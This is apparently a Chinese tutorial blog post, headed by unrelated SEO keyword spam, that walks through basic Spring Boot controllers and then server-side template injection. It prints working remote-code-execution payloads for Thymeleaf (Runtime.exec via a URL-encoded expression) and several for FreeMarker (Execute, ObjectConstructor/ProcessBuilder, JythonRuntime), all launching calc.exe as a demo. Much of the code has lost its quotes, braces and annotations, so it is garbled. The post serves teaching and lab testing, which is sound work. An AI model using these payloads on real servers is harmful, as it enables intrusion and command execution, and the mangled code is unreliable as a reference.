自己做的网页怎么连接到网站,阿里云备案网站备案域名,哪些网站可以做设计软件,济南市网站推广公司SpringBoot基础使用
前期基础学习一直使用的Servelet#xff0c;现在用Springboot才发现这个是多么的方便#xff0c;为什么现在主流的是Springboot
简介#xff1a;Springboot是支持多拓展服务的一个java框架
框架和组件不同的就是框架是一个系统的#xff0c;内置有不…SpringBoot基础使用
前期基础学习一直使用的Servelet现在用Springboot才发现这个是多么的方便为什么现在主流的是Springboot
简介Springboot是支持多拓展服务的一个java框架
框架和组件不同的就是框架是一个系统的内置有不同的语法 而组件只是系统功能的一种为了的目的是优化单功能方面的方便和安全性
部署 使用阿里的原因就是官网不支持JDK8 为了方便就换一个支持的
依赖只选择一个 web的
Springboot的强大之处就是他的依赖比如云储存或者是sql数据库的api连接都是方便 package com.example.springdemo.Controller;import org.springframework.web.bind.annotation.*;RestController
//表示这个控制页面 会把返回的结果一样输出到客户端 如果只是 Controller 的话就不会把这个类下的 return 数据返回到浏览器
public class IndexCon {// 1、基本的路径控制RequestMapping(/index) //访问路径触发函数public String index() {return Hello;}//GET 模式RequestMapping(value /index, method RequestMethod.GET)public String index2(RequestParam String name) { //設置參數if (name xiaodi) {return Hello2;}else {return ;}}//快捷模式GetMapping(/index1)public String index1(RequestParam String name) {return name;}//post模式PostMapping(/index2)public String index3(RequestParam String name) {return namexiaodisec;}}
运行 上面写的程序 当我们访问index的时候会输出hello 当传参get xiaodi 会输出hello2 这个是直接运行的前端页面
模版的导入
什么是ssti模版注入漏洞前端的模版如果有个可控的输入那就会导致用户输入的恶意的语法会被镶嵌到模版中去从而造成危险
前端的模版是指可以优化前端页面形式使其简洁化并且有规律性
Thtmeleaf模版的利用 部署的时候需要选择这个模版引擎
成功导入之后
库中就会出现
这个模版漏洞注入的场景用户可以使用参数控制模版呈现的页面方式 这里就会变化 换一个值输入
这种情况就可以使用但是这个地方肯定是没有的
我们先部署一个类似的页面
根据依赖项设置建一个tem专属目录 然后创建上页面转换的不同页面 package com.example.thymeleafspringboot.Controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;Controller //当有模版载入的时候 就不适合使用 rest前缀 否则会干扰到 前端模版
public class ConIndex {GetMapping(/index)public String index(RequestParam String name, Model model,String lang) {//Mode model 就是新建一个前端对象 来实例化前端的数据model.addAttribute(data, name); //把Data的数据 替换到前端的Datareturn indexlang;}
} 运行
功能实现之后就需要进行利用
poc:
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
但是执行之后
我考什么情况
原因很简单就是这个阿里云网的springboot版本是稳定性很强的 所以执行不了
我们需要切换到
2.2.0.Release 版本就能弹出计算机
Freemarker模版的利用
这个和上个不同的是 没法使用可控变量从后端操作这个前端的模版
只能使用这个 poc
#assign valuefreemarker.template.utility.Execute?new()${value(calc.exe)}
这个标签必须插入到 模版文件的内部如果是使用参数传入只能被当做内容执行 展示一下
没有poc 使用参数进行传递
没反应
添加上
如果上面的poc运行不了
#assign valuefreemarker.template.utility.Execute?new()${value(calc.exe)}#assign valuefreemarker.template.utility.ObjectConstructor?new()${value(java.lang.ProcessBuilder,calc.exe).start()}#assign valuefreemarker.template.utility.JythonRuntime?new()${value(calc.exe)}valueimport os;os.system(calc.exe)/value//value为自定义标签还有2个poc可使用
那这个模版注入的作用点就是后台进行提权使用的因为无可控参数的利用